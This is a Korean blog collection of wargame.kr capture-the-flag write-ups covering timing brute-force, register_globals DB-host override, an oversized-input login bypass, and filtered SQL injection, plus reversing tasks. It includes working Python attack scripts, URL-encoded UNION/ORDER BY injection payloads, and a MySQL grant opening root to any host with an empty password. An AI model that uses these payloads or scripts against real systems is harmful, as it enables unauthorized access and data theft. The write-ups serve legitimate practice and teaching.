(나중엔 돌리다가 대문자도 제거했다.... 범위를 이렇게 하세요 0123456789abcdef)

완성된 코드!
알아서 멈추진 않으니까 잘 판별하세요! 전 넉넉하게 0시부터 시작해서 그냥 아침에 확인했습니다

#!/usr/bin/python

import urllib2
from socket import *
import time
import threading
import sys

flag = ""
string = "0123456789abcdef "

def serv(i):
    global flag

    HOST = ''
    PORT = 31337
    BUFSIZ = 1024
    ADDR = (HOST, PORT)
     
    tcpSerSock = socket(AF_INET, SOCK_STREAM)
    tcpSerSock.bind(ADDR)
    tcpSerSock.listen(5)

    tcpCliSock, addr = tcpSerSock.accept()

    input_flag = "{}{}".format(flag,i)

    tcpCliSock.send(input_flag)
    data = tcpCliSock.recv(BUFSIZ)
    print data, input_flag

    tcpCliSock.close()
    tcpSerSock.close()


def game_request():
    req = urllib2.Request("http://wargame.kr:8080/pw_crack/check.php")
    response = urllib2.urlopen(req)
    res = response.read()
    if "congratulation" in res:
        print res
    else:
        print "[-] Fail"

print "[*] Starting pw_crack.py"
print

for j in range(1,41):
    print "[+] {} round ({}s)".format(j,4 + len(flag)*2)
    print

    for i in string:

        start = time.clock()
        
        t1 = threading.Thread(target = serv, args = (i,))
        t1.start()
        
        t = threading.Thread(target = game_request, args = ())
        t.start()

        t1.join()
        t.join()

        end = time.clock()

        due = end - start

        if due > 4 + len(flag)*2:
            flag = "{}{}".format(flag,i)
            print "[!] Found : {}".format(i)
            print "[*] KEY: {} ({}/40)".format(flag,len(flag))
            print
            break




2016/06/22 05:01 2016/06/22 05:01
TBR은 팀이름인건 알겠는데 mini는 왜 붙는건지 모르겠다.
설명을 보면 2013년 시큐인사이드의 CTF 문제인것 같다.

yes, i did present CTF Challenge to Secuinside 2013 web challenge.

This is a part of The Bank Robber challenge.

you can download source file
 : http://wargame.kr:8080/mini_TBR/mini_TBR.tgz



소스를 받아보면 파일들이 잔뜩 있다. 홈페이지를 구성하는것 같은 파일들인데 일단은 냅둬보고,
mini_TBR 문제에 들어가보면 홈페이지가 하나 뜬다. 즉 요걸 구성하는 소스들이 압축파일에 있다는걸 예상해볼 수 있다.
그러니까.. 아마 오픈소스처럼 뿌려진 소스들에서 취약점을 발견해야 되는 문제인것 같다

모든 디렉토리에 파일이 다 있는건 아니고, 다음과 같은 경로에 있다

\lib\database.php
\modules\_system\functions.php
\modules\list\_main.php
\pages\....
\index.php



database.php 그냥 DB정보이고, layout들도 그냥 레이아웃들이다.
pages도 ajax로 불러와서 처리하기 위한건지 그냥 짧은 컨텐츠들만 있다

고로 functions와 main에 있는 두 파일과 index.php을 보면될것 같다

function이 몇개 안되니까 그냥 처음부터 보자

function.php


 function db_conn(){
     global $_BHVAR;
    mysql_connect($_BHVAR['db']['host'], $_BHVAR['db']['user'], $_BHVAR['db']['pass']);
    mysql_select_db($_BHVAR['db']['name']);
 }



이 함수는 database.php 에서 정보를 불러와 연결하는 소스이다. 그래서 딱히 손댈건 없어보인다

 function get_layout($layout, $pos){
    $result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'");
    $row = mysql_fetch_array($result);
    $allow_list = ["./book_store_skin/head.html", "./book_store_skin/foot.html", "./reverted/h.htm", "./reverted/f.htm"];

    if (isset($row['path'])){
        if ($row['path'] == "hacked") {
            include("../lib.php");
            die(auth_code("mini TBR"));
        }
        if (in_array($row['path'], $allow_list)) {
            return $row['path'];
        }
    }

    if ($pos == 'head'){
        return "./reverted/h.htm";
    }
    return "./reverted/f.htm";
 }


layout_name=$layout 부분과 $pos 가 있지만 ' 로 감싸져있다. 하지만 그것뿐, 일단 이건 기억하도록 하고,
아래에는 접근할 수 있는 페이지 리스트들이 있는데 바로 여기가 포인트이다. $row['path'] 를 hacked 로 만들어야된다는건데,
allow list 엔 hacked는 당연히 없다. 그리고 이 정보는 db에서 불러오는거기때문에 결국 get_layout 함수를 공략해야된다는 말인것 같다.

 function filtering($str){
     $str = preg_replace("/select/","", $str);
     $str = preg_replace("/union/","", $str);
     $str = preg_replace("/from/","", $str);
     $str = preg_replace("/load_file/","", $str);
     $str = preg_replace("/ /","", $str);
     return $str;
 }


필터링은 여러 항이 필터링 리스트이지만 이 페이지에선 사용하지 않는다.
이후 _main.php를 보려했더니 바로 die가 뜬다.

 die("you have no use for this source.");


볼 필요없다니까 넘어가자.


사실 감을 아예 못잡고 있다가 검색을 통해 register_globals 함수에 취약점이 있다는것을 알았다. 사실 취약점은 아니고 원래 그렇게 쓰라고 만들어놓은건데.. 쓰면 되는게 있고 안되는게 있으니까

get을 extract하니까,  이 부분에서 위화감을 느꼈으면 됐다

if ( isset($_skin)) {


이 부분인데 아무리 찾아봐도 $_skin 이 없었다. 근데 extract으로 $_GET에 들어오는 내용을 그대로 사용하기 때문에, $_GET['_skin'] 으로 쓰지 않고 $_skin 으로 사용하고 있는것이다. 즉 이것을 이용해.. $_BHVAR['db']['host'] 를 갈아치면된다
요컨데 이런꼴로..

URL...&_BHAVR['db']['host'] = IP , path 모듈은 어디.. 뭐 등등
그리고 내 db에서 긁어가게도 해야되니까 mysql 세팅도 해줘야한다
외부에서 붙을 수 있게 권한 설정을 해주는걸 잊지 말자


grant all privileges on *.* to 'root'@'%' identified by '';
flush privileges;


이렇게 세팅하고 URL을 변경해 새로고침해보자.
http://wargame.kr:8080/mini_TBR/?_type=P&_skin=1&_BHVAR[path_module]=./modules/&_BHVAR[db][host]={YOUR IP}&_BHVAR[db][user]=root&_BHVAR[db][pass]={DBPASS}&_BHVAR[db][name]=mini_tbr
다음과 같이 내 디비에 붙어서 질의하고 있다


2017-05-23T15:35:28.609264Z    87 Connect root@1.234.27.139 on  using TCP/IP
2017-05-23T15:35:28.612265Z    87 Init DB mini_tbr
2017-05-23T15:35:28.617765Z    87 Query select path from _BH_layout where layout_name='1' and position='head'
2017-05-23T15:35:28.623766Z    87 Query select path from _BH_layout where layout_name='1' and position='foot'
2017-05-23T15:35:28.626266Z    87 Quit


테이블을 설정해주고, 값을 insert 해주면 문제가 해결된다.


use mini_tbr;

CREATE TABLE `_bh_layout` (
  `seqno` int(11) NOT NULL AUTO_INCREMENT,
  `path` varchar(45) DEFAULT NULL,
  `layout_name` varchar(45) DEFAULT NULL,
  `position` varchar(45) DEFAULT NULL,
  PRIMARY KEY (`seqno`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;

INSERT INTO `mini_tbr`.`_bh_layout`
(`path`,`layout_name`,`position`) VALUES ('hacked','1','head');

INSERT INTO `mini_tbr`.`_bh_layout`
(`path`,`layout_name`,`position`) VALUES ('hacked','1','foot');

2016/06/22 05:01 2016/06/22 05:01
sucker_enc is sucks.

Can you login?


썩의 연속이다
썩었다는것 같다. 개그아님..

 <?php

if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}

include("../lib.php"); // include for auth_code function.
/*******************************************************
- DB SCHEMA (initilizing)

create table accounts(
 idx int auto_increment primary key,
 user_id varchar(32) not null unique,
 user_ps varchar(64) not null,
 encrypt_ss text not null
);

********************************************************/

function db_conn(){
 mysql_connect("localhost","login_with_cryp","login_with_crypto_but_pz");
 mysql_select_db("login_with_crypto_but");
}

function init(){
 db_conn();
 $password = crypt(rand().sha1(file_get_contents("/var/lib/dummy_file").rand())).rand();
 mysql_query("insert into accounts values (null,'admin','{$password}','".sucker_enc('881114')."')"); // admin`s password is secret! xD
 mysql_query("insert into accounts values (null,'guest','guest','".sucker_enc('000000')."')");
}
//init(); // create user for initializing

function enc($str){
 $s_key = "L0V3LySH:";
 $s_vector_iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_3DES, MCRYPT_MODE_ECB), MCRYPT_RAND);
 $en_str = mcrypt_encrypt(MCRYPT_3DES, $s_key, $str, MCRYPT_MODE_ECB, $s_vector_iv);
 $en_base64 = base64_encode($en_str);
 $en_hex = bin2hex($en_str);
 return $en_hex;
}

function sucker_enc($str){
 for($i=0;$i<8;$i++) $str = enc($str);
 return $str;
}

function get_password($user,$ssn){
 db_conn();
 $user = mysql_real_escape_string($user);
 $ssn  = mysql_real_escape_string($ssn);
 $result = mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='".sucker_enc($ssn)."'");
 $row = mysql_fetch_array($result);
 if ($row === false) {
  die("there is not valid account!");
 }
 return $row[0]; 
}

ini_set("display_errors", true);

if( (isset($_POST['user']) && isset($_POST['ssn']) && isset($_POST['pass'])) ){
 
 sleep(2); // do not bruteforce !!!! this challenge is not for bruteforce!!

 if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){

  if($_POST['user'] == "admin"){
   echo "Login Success!!! PASSWORD IS : <b>".auth_code("login with crypto! but..")."</b>";
  }else{
   echo "Login Success. but you r not 'admin'..";
  }
 }else{
  echo "Login Failed";
 }

}

?>
<hr />
<form method="post" action="./index.php">
<table>
 <tr><td>Identify</td><td><input type='text' value='guest' maxlength='32' name='user' /></td>
 <tr><td>Social Security</td><td><input type='text' maxlength='6' value='000000' name='ssn' /></td>
 <tr><td>PASSWORD</td><td><input type='text' value='guest' name='pass' /></td>
 <tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
<hr />
<a href='./?view-source'>GET SOURCE</a>



코드는 이렇다. 이제 풀어보자.
일단 시도를 좀 해보려니까 페이지 자체에 로딩이 있다. sleep이 걸려있는듯 하니 전사공격은 빠르게 포기하는걸로 하자.

user, ssn, pass가 모두 필요하고 get_password 함수를 호출한다.
유저는 그대로 사용하지만 encrypt_ss 컬럼을 위해 sucker_enc를 호출하는데

sucker_enc는 그냥 enc를 8번 반복하는 함수이다.. enc에서는 3DES화 해서 암호화한다.
코드에서 guest의 SSN을 알고 있으니 그대로 돌려보기로 했다.

Warning: mcrypt_encrypt(): Key of size 9 not supported by this algorithm. Only keys of size 24 supported in  on line 7


????이게뭐야.. 알아보니 php5.6이상부턴 임의 padding을 안해준다는 것 같다.

그래서, pad 함수를 만들어 돌려봤다. 제대로 돌아간다.

function pad_key($key){
        while(strlen($key) < 24) $key = $key."\0";
    return $key;
}


2048자의 비밀번호가 나온다. 이걸 진짜 비밀번호로 쓰는진 잘 모르겠지만....
admin의 881114가 SSN인걸 안다고 뭐가 달라질까? 소스를 돌려본게 멍청한짓임을 나중에 깨달았다. ㅡㅡ


차근차근 다시 보자.

$_POST['pass']와 get_password 에서 나오는 결과를 같게 해야하는데 내 상식선에서는 얘를 뛰어넘을 방법이 없다. (전사 공격이 안되기때문에)

결국 pass를 null로 하고 get_password를 null로해서 매칭을 시키든지 해야하는데, get_password에서 나오는 결과는 null이 될 수가 없다
결국 매직 해쉬같은거 마냥 쿼리를 뿌셔트려서 row가 false가 나오는게 아니라, null이 나오도록 바꿔야한다.

그래서 함수의 취약점을 찾아보기 시작했다.근데 딱히 만족스러운 답이 안나왔다. 어떻게하면 mysql_query 를 disable시킬 수 있을 것인가.
일단 내 생각에 pass에는 값을 넣지않는게 확실했고, php changelog를 많이 살펴보니 php에 버퍼오버플로우가 발생할 수 있어서 취약점 패치를 많이 한걸 볼 수 있었다.

그래서 BOF에 초점을 두고 검색질을 좀 해봤다.
우선 php 의 string은 2GB까지 ㅡㅡ 저장할 수 있다고 한다. 메모리 할당에 따라 다르겠지만 일단은 그렇다고한다.
그 와중에 좀 뜬금없이 찾은건데, 이 코드를 발견했다.

잘 보면 mysql_real_escape_string 전에 bof 방지를 위해서라면서 LENGTH 체크를 하고 있다.
그렇다면..? 숫자를 왕창 크게 해서 날려보기로 했다. 첨에 "1"*10000000000000000000000 막 이렇게 했더니 python자체 에러가; long size에 맞춰서 얌전히 보내야 하는것 같다. 그러다가 에러코드를 하나 얻었다

<br />
<b>Fatal error</b>:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 64000001 bytes) in <b>/home/www/login_with_crypto_but/index.php</b> on line <b>39</b><br />


그러니까 이건, 그냥 지나쳤던 ini_set("display_errors", true); 라는 구문도 그냥 넘기지 말았어야 한것이다. 에러를 보여주는게 힌트였던것..
그래서 저기 적힌 숫자들을 곱해서 시도해보니까 안된다. 에러메세지는 안나오는데 그냥 index페이지가 호출되었다. 결국 숫자를 좀 더 줄여서 시도했다. 페이탈 에러를 자주 접할 수 있었다....

그렇게 줄여나가다보니 640001 은 안되고, 64001 에서 there is not valid ... 에러를 접할 수 있었다.
요 사이의 숫자를 넣으면 될것이라고 확신했다

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, random

headers = {'Host': 'wargame.kr:8080'}

num = "0"*84001

data = "user=admin"
data = data + "&ssn=" + str(num)
data = data + "&pass="

req = urllib2.Request("http://wargame.kr:8080/login_with_crypto_but/index.php", data, headers)
response = urllib2.urlopen(req)

res = response.read()
print res


짜잔~

<br />
<b>Warning</b>:  mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>/home/www/login_with_crypto_but/index.php</b> on line <b>53</b><br />
Login Success!!! PASSWORD IS : <b>0f6fe792426d531074694f805515c706bdeaac0b</b><hr />
2016/06/22 05:00 2016/06/22 05:00
난 리버싱은 하나도 모른다. 아니 띄엄띄엄... 겉핥기도 아니고 그냥 정말 맛만 본 느낌인데, 문제를 보니까 참 아득하다.

문제에는 notepad.exe 와 blueh4g13.dll 이 있었는데 우선 notepad 파일부터 비교해보기로 했다. 이름은 notepad 고 변조된 프로그램일수도 있으니까.. 근데 이건 그냥 정말 notepad 인것 같고, dll만 보면될 것 같았다.

나는 ida hex-ray decompiler를 사용했다.

int __cdecl start(LPVOID lpParameter)
{
  wchar_t *v1; // eax@2
  WCHAR Filename; // [sp+4h] [bp-204h]@1

  if ( GetModuleFileNameW(0, &Filename, 0x200u) )
  {
    v1 = wcsrchr(&Filename, 0x5Cu);
    if ( v1 )
    {
      if ( !wcsicmp(v1 + 1, L"notepad.exe") )
      {
        dword_100033A8 = (int)CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, lpParameter, 0, 0);
        CloseHandle((HANDLE)dword_100033A8);
      }
    }
  }
  return 1;
}


start는 이렇다. 좀 보니 notepad.exe가 실행되어야 됨을 알 수 있다.
그리고 다음소스를 보면

void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter)
{
  HWND v1; // esi@1
  HWND v2; // ebx@1
  DWORD v3; // edi@1
  DWORD dwProcessId; // [sp+14h] [bp-28h]@1
  CHAR String; // [sp+18h] [bp-24h]@3

  sub_100010C0();
  Sleep(0x2BCu);
  v1 = FindWindowW(0, L"blueh4g.txt - \uba54\ubaa8\uc7a5");
  v2 = FindWindowExW(v1, 0, L"edit", 0);
  v3 = GetCurrentProcessId();
  GetWindowThreadProcessId(v1, &dwProcessId);
  if ( v3 != dwProcessId )
    FreeLibraryAndExitThread((HMODULE)lpThreadParameter, 0);
  do
  {
    Sleep(0x32u);
    GetWindowTextA(v2, &String, 32);
  }
  while ( strcmp(&String, (const char *)&dword_10003388) );
  SetWindowTextA(v2, &::String);
  FreeLibraryAndExitThread((HMODULE)lpThreadParameter, 0);
}


blueh4g.txt - 메모장 이름을 찾고 있다. 저건 blueh4g.txt에 정답을 적어야된다는거 같다.
생각하길, blueh4g.txt 를 열어놓고 거따가 답을 적으면 SetWindowTextA(v2, &::String); 에 의해 WindowTexA로 - 여기선 아마 메모장 윈도우 - 답이 기재되는 구조인거 같다.

dword_10003388 이 정답일게 뻔하니까, 이 친구를 따라가보자



특정 로직에서 처리하고 있다.

unsigned int sub_100010C0()
{
  char *v0; // eax@1
  unsigned int v1; // esi@1
  char v2; // cl@2
  int v3; // ebx@4
  int v4; // edi@4
  int v5; // ecx@5
  unsigned int v6; // ecx@5
  unsigned int v7; // esi@8
  unsigned int result; // eax@8
  int v9; // ebx@9
  int v10; // edi@9
  int v11; // ecx@10
  unsigned int v12; // ecx@10
  __time64_t Time; // [sp+10h] [bp-90h]@1
  struct tm Tm; // [sp+18h] [bp-88h]@1
  char v15[32]; // [sp+3Ch] [bp-64h]@1
  char v16[64]; // [sp+5Ch] [bp-44h]@8

  Time = time64(0);
  localtime64_s(&Tm, &Time);
  dword_10003388 = 0;
  dword_1000338C = 0;
  dword_10003390 = 0;
  dword_10003394 = 0;
  dword_10003398 = 0;
  dword_1000339C = 0;
  dword_100033A0 = 0;
  dword_100033A4 = 0;
  memset((void *)&String, 0, 0x40u);
  sub_10001320("oh! handsome guy!");
  v0 = v15;
  v1 = 0;
  do
    v2 = *v0++;
  while ( v2 );
  if ( v0 != &v15[1] )
  {
    v3 = Tm.tm_mon;
    v4 = Tm.tm_mday * Tm.tm_mon;
    do
    {
      v5 = v4 + v15[v1];
      v6 = 126
         * (((signed int)(((unsigned __int64)(2113396605i64 * v5) >> 32) - v5) >> 6)
          + ((unsigned int)(((unsigned __int64)(2113396605i64 * v5) >> 32) - v5) >> 31))
         + v5;
      if ( (signed int)v6 < 33 )
        v6 += v3 + 33;
      *((_BYTE *)&dword_10003388 + v1++) = v6;
      v4 += v3;
    }
    while ( v1 < strlen(v15) );
  }
  sub_10001340("Air fares to NY don't come cheap.");
  v7 = 0;
  result = strlen(v16);
  if ( result )
  {
    v9 = Tm.tm_mday;
    v10 = Tm.tm_mday * Tm.tm_mon;
    do
    {
      v11 = v10 + v16[v7];
      v12 = 126
          * (((signed int)(((unsigned __int64)(2113396605i64 * v11) >> 32) - v11) >> 6)
           + ((unsigned int)(((unsigned __int64)(2113396605i64 * v11) >> 32) - v11) >> 31))
          + v11;
      if ( (signed int)v12 < 33 )
        v12 += v9 + 33;
      *((_BYTE *)&String + v7++) = v12;
      v10 += v9;
      result = strlen(v16);
    }
    while ( v7 < result );
  }
  return result;
}


대강 읽어보니 시간 관련해서 리턴이 될 것 같다.
근데 이걸 직접 돌려볼 순 없고 디버거를 붙여서 다시 들여다보자라고.. .썼는데 ollydbg를 내가 사용하는 법을 잘 몰라서 한참 헤맸다
나중엔 dll이 제대로 메모장에 붙어있나를 의심하는 수준에까지 처하게 되었는데

그래서 프로세스 익스플로러를 실행해 dll을 확인해보니 잘 붙어있다 (당연)
여기서 아이디어가 스친게, 어차피 dll은 계산된값을 메모리에 들고 있을거고, setTextA 해주는 스트링도 이미 만들어져 있을것이라는 생각이 들어서 memory에 올라간 텍스트를 하나씩 훑기 시작했다. 그 결과...



key를 발견할 수 있었다. 홈페이지에 넣으면 auth key가 나온다... 내 생각엔... 절대 이렇게 푸는게 아닐거 같은데.............. 문제 자체에 허점이 있는 것 같다..
2016/06/22 03:27 2016/06/22 03:27
이 문제는 이 문제에서 필터링이 강화된 문제로서 거의 유사하다. 다만, 괄호를 하나도 쓸 수 없다는 정말 빡센 제약이 존재한다.
여튼 풀이 방법은 거의 유사한줄 알았는데 이렇게 내 발목을 잡을줄이야... 

 <?php
    error_reporting(0);
    
    include("./config.php"); // hidden column name
    include("../lib.php"); // auth_code function

    mysql_connect("localhost","zairo","zairo_pz");
    mysql_select_db("zairo");

    /**********************************************************************************************************************/

    function rand_string()
    {
        $string = "1234567890abcdefghijklmnopqrstuvwxyz";
        return str_shuffle($string);
    }

    function reset_flag($count_column, $flag_column)
    {
        global $count;
        $flag = rand_string();
        $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
        $count = $query[$count_column];
        if($query[$count_column] == 150)
        {
            if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo "reset flag<hr>";
            }
            return $flag;
        }
        else
        {
            mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return $query[$flag_column];
    }

    function get_pw($pw_column){
        $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return $query[$pw_column];
    }

    /**********************************************************************************************************************/

    $tmp_flag = "";
    $tmp_pw = "";
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    $flags = $_GET['flag'];
    $count = 0;
    if(isset($id))
    {
        if(preg_match("/information|schema|user|where|=/i", $id) || substr_count($id,"(") > 0) exit("no hack");
        if(preg_match("/information|schema|user|where|=/i", $pw) || substr_count($pw,"(") > 0) exit("no hack");
        $tmp_flag = reset_flag($count_column, $flag_column);
        $tmp_pw = get_pw($pw_column);
        $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        echo "<hr />NOW COUNT = {$count}<br />";
        if($query[$id_column])
        {
            if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo "good job!!<br />FLAG : <b>".auth_code("zairo")."</b><hr>";
            }
            else
            {
                echo "Hello ".$query[$id_column]."<hr>";
            }
        }
    }else {
        highlight_file(__FILE__);
    }
?>



패스워드 컬럼을 알아보기 위해 다음과 같이 입력한다.

?id=%27%20union%20select%201%2C&pw=%2C3%2C4%2C5%23


패스워드 컬럼을 알아냈다.
이렇게 쿼리를 짜서 보내자.

?id=%27%20union%20select%201%2CxvvcPw4coaa1sslfe%2C3%2C4%2C5%20/%2A&pw=%2A/%20from%20findflag_2%20%23


패스워드도 알아냈다.

아이디를 알아내야하는데 이 문제에서는 where과 =를 사용할 수가 없다.
고로 1=1 union 이었던걸 다음과 같이 1 like 1 로 바꿔준다.

?id=' OR 1 like 1 union select 1%2C2%2C&pw=%2C4%2C5%23


이제 대 난관인 플래그만 남았다. (를 사용할 수 없으니 서브쿼리의 사용도 어려워보인다.

그래서 시도해본건 우선 order by를 이용해보기로 했다. 원래는 order by에서도 서브쿼리를 사용할 수 있지만 괄호를 사용할 수 없으니..
error base를 사용하는 글 같은데, 그냥 착안해서.. 이렇게 생각을 해봤다.

1열에 a가 있다면,
2열에 z를 넣으면 order by에 의해서 값이 변경해지지않을까? 해서 blind로 해볼수있지 않을까 생각을 해봤는데..
정상 아스키코드값이 아니면(a~Z, 특문등) 그냥 1열을 출력하는데 그 반대의 경우는 그냥 2열을 출력했다.

urllib.quote("*/ union SELECT 1,{},3,4,5 FROM findflag_2 order by 2 limit 1 #".format(hex(j)))


이런 느낌으로 해봤는데 사실, 150번만 하면 리셋이 되버리기 때문에 이게 가능한가 생각이 들었다..그러다가 order by로 값을 order by 해보았는데 신기하게도 계속 같은 값이 나왔다. 희한했다.


data = "?id="
data = data + urllib.quote("' union select 1,2,3,4,5 from findflag_2 /*")
data = data + "&pw="
data = data + urllib.quote("*/ union select true,true,'{}{}',4,5 order by 3 desc#".format('w',string[i]))

data = data + "&flag="
data = data + urllib.quote("")

req = urllib2.Request("http://wargame.kr:8080/zairo/" + data, '', headers)
response = urllib2.urlopen(req)

res = response.read()
print res


이런 느낌이다. for문을 이용해서 하나씩 빼다가, 다른값이 나오는 값 이전의 데이터를 넣고 하나씩 돌리다보면,
wkdlfhpw (이후는 전부 z)값을 얻을 수가 있다. 그런데.. order by 3컬럼은 비밀번호였다 ㅡㅡ 이미 알고있는 값... 어처구니 미싱...
왜 굳이 3으로 했냐 돌대가리야 하면서 4로 옮겨서 돌려보기 시작했다. 돌릴때마다 리셋이 되는걸 보니 맞다.

flag값은 36자리로 정확히 정해져있으므로 한번 나온 값은 다시 나오지 않는다. 그래서 대충 코드를 이렇게 짜봤는데, 한 10자리만 돌리면 이후부턴 제대로 값을 알아내질 못한다. 예를들어 이렇게 나온다.

kvj3yha675zxwutsrqponmligfedcb098421


한 열자리까지는 정상 범주로 가는것 같다가도 남은자리를 그냥 출력해버리고 마는것이다.... 잘되다가 막힌 느낌이었다. (사실, 이게 정답인지도 모르고 하지만서도..)
짧게는 5자리에서도 그러는데, 내 생각엔 다음으로 올 아스키코드보다 큰 수가 박히게 되면 다음값을 계산못하는게 아닌가.. 그런생각을 했다.
그래서 어떻게 했느냐? 그냥 될때까지 돌려보기로 했다 (--) 돌리는 와중에 str_shuffle에 취약점이 없나 살펴보는것도 잊지 않았지만 소득은 딱히...(str_shuffle은 게싱하기 쉬운 함수라고 한다. 그럼.. 얘를 돌파할 수 있는 코드를 짜야한다는건가?;;)

한참 고민을 하다보니 10자리에서 왜 출력이 안되는지 알 수 있었다. 임의로 코드를 짜봤는데 다음과 같다

import random

s = "0123456789abcdefghijklmnopqrstuvwxyz"
sqlstr = ''.join(random.sample(s,len(s)))
string = "0123456789abcdefghijklmnopqrstuvwxyz{"
count = 0

answ = ""

while(1):
    for i in range(0,len(string)):
        condition = "{}{}".format(answ,string[i])
        print answ, string
        if sqlstr < condition:
            answ = str(answ) + str(string[(i-1)])
            string = string.replace(str(string[(i-1)]),'')
            break
        count = count + 1
    if count >= 150:
        print "\nfailed"
        print "origin:" + sqlstr
        print "found :" + answ
        print "remain:" + str(len(string)-1)
        break
    else:
        print count
    if len(answ) == 36:
        print "\ncomplete"
        print "guessed:" + answ
        print "origin :" + sqlstr
        print "match  :" + str(answ == sqlstr)
        print "count:" + str(count)
        break


내가 돌린 방법과 임의 문자열을 한개씩 매칭할때, 150번으론 택도 없다는 결론에 도달할 수 있었다.
못해도 290회, 많게는 420회까지 횟수가 필요했다.

===========

2017.01.08
새해.. 나는 이 문제를 풀고말겠다는 일념을 다졌다. 왜냐면, 아이디어 하나가 스쳐갔기때문이다.
왜 단순히 range로 생각했을까? 뭔가를 찾으려면 바이너리 서치를 하면되는데..
다만 이 경우에는 완전히 match를 구분할 수 있는 방법이 없기때문에 넘겨 짚었던것 같다. 어쨌든, match 없이 string을 찾는 python code를 작성해봤다. (첨작성한것과 jake가 작성한거랑 다름)

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from random import sample
from copy import deepcopy

s = "0123456789abcdefghijklmnopqrstuvwxyz"
chars = list(s)[::-1]
secret = ''.join(sample(s, len(s)))
ans = ""
comp = 0

while True and len(chars):
  lo = 0
  hi = len(chars)
  guessed = []
  while lo <= hi:
    mid = (lo + hi) // 2
    char = chars[mid]
    if char in guessed:
      ans += char
      chars.remove(char)
      break
    charless = deepcopy(chars)
    charless.remove(char)
    guess = "{0}{1}{2}".format(ans, char, ''.join(charless))
    guessed.append(char)
    if lo == hi:
      ans += char
      chars.remove(char)
    elif secret > guess:
      hi = mid
    else:
      lo = mid
    comp += 1
    print "{0}\t{1}\t{2}\t{3}\t{4}\t{5}".format(secret, guess, hi, lo, mid, comp)


잘나온다. 심지어 150번안에 수행완료..
물론, 위코드처럼 돌리면 횟수가 딸리는데, 어쨌든 바이너리서치형태로 만들어서 시도하면 문제 정복에 성공할 수 있다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import re, sys, time, urllib, urllib2

headers = {'Host': 'wargame.kr:8080'}
s = "0123456789abcdefghijklmnopqrstuvwxyz"
chars = list(s)[::-1]
ans = ""

while True and len(chars):
    lo = 0
    hi = len(chars)
    guessed = []
    while lo <= hi:
        time.sleep(0.01)
        mid = (lo + hi) // 2
        char = chars[mid]
        if char in guessed:
            ans += char
            chars.remove(char)
            break
        charless = list(chars)
        charless.remove(char)
        guess = "{0}{1}{2}".format(ans, char, ''.join(charless))
        guessed.append(char)
        
        id = urllib.quote("'UNION SELECT * FROM findflag_2/*")
        pw = urllib.quote("*/UNION SELECT 1,2,3,\"{}\",5 ORDER BY 4 ASC#".format(guess))
        data = "?id={0}&pw={1}&flag=".format(id, pw)
        
        req = urllib2.Request("http://wargame.kr:8080/zairo/" + data, '', headers)
        response = urllib2.urlopen(req)
        res = response.read()
        count = re.findall(r"NOW COUNT = (\d+)", res)[0]
        
        if "reset" in res:
            sys.exit("[!] FAILED: FLAG RESET")
        
        if "zairowkdlfhdkel" in res:
            lo = mid
        else:
            hi = mid
        
        print "{0}\t{1}\t{2}\t{3}\t{4}".format(guess, hi, lo, mid, count)
    pass
req = urllib2.Request("http://wargame.kr:8080/zairo/?id=zairowkdlfhdkel&pw=wkdlfhpw!!@%%%23@@%23&flag={0}".format(guess), '', headers)
response = urllib2.urlopen(req).read()
flag = re.findall(r"FLAG : <b>([0-9a-f]+)</b>", response)
print "[*] OUR GUESS: {0}".format(guess)
print "[!] SUCCESS! FLAG: {0}".format(flag[0])


개인시간도 부족하고 헤매서 오래 걸렸는데 괜히 감회가 새로운 느낌이다. 888점 획득!

2016/06/22 03:27 2016/06/22 03:27
Simple Reverse Engineering.

Can you Reversing for C# Application?


c# 크랙미라고 한다. c#은 리플렉터라고 해서 디컴파일러가 정말 개짱많다. 아무거나 구해서 열어보기로 했다

main은 이렇게 이루어져있다

private static void Main(string[] args)
{
    Console.Write("Input your name : ");
    string name = Console.ReadLine();
    Console.Write("Password : ");
    string str2 = myEncrypt(Console.ReadLine(), name);
    if ((name == "BluSH4G") && myCmp(str2, getps(name)))
    {
        Console.WriteLine("\n::Congratulation xD ::\n");
    }
    else
    {
        Console.WriteLine("\n:: WTF AUTH FAILED ::\n");
    }
}


name은 BluSH4G 라고 한다.
그런데 비밀번호는 myEncrpyt에 name을 넣은값을 입력해야한다고 한다. 안볼수 없지

private static string myEncrypt(string strKey, string name)
{
    DESCryptoServiceProvider provider = new DESCryptoServiceProvider();
    provider.Mode = CipherMode.ECB;
    provider.Padding = PaddingMode.PKCS7;
    byte[] bytes = Encoding.ASCII.GetBytes(mPadding(name));
    provider.Key = bytes;
    provider.IV = bytes;
    MemoryStream stream = new MemoryStream();
    CryptoStream stream2 = new CryptoStream(stream, provider.CreateEncryptor(), CryptoStreamMode.Write);
    byte[] buffer = Encoding.UTF8.GetBytes(strKey.ToCharArray());
    stream2.Write(buffer, 0, buffer.Length);
    stream2.FlushFinalBlock();
    string str = Convert.ToBase64String(stream.ToArray());
    stream2 = null;
    stream = null;
    provider = null;
    return str;
}


myEncrpyt는 이렇게 생겼다.
서버에 아이디를 넣어 호출해주면 비밀번호가 돌아오는데(getps) 비밀번호가 매치하도록 작성해야하는것 같다.
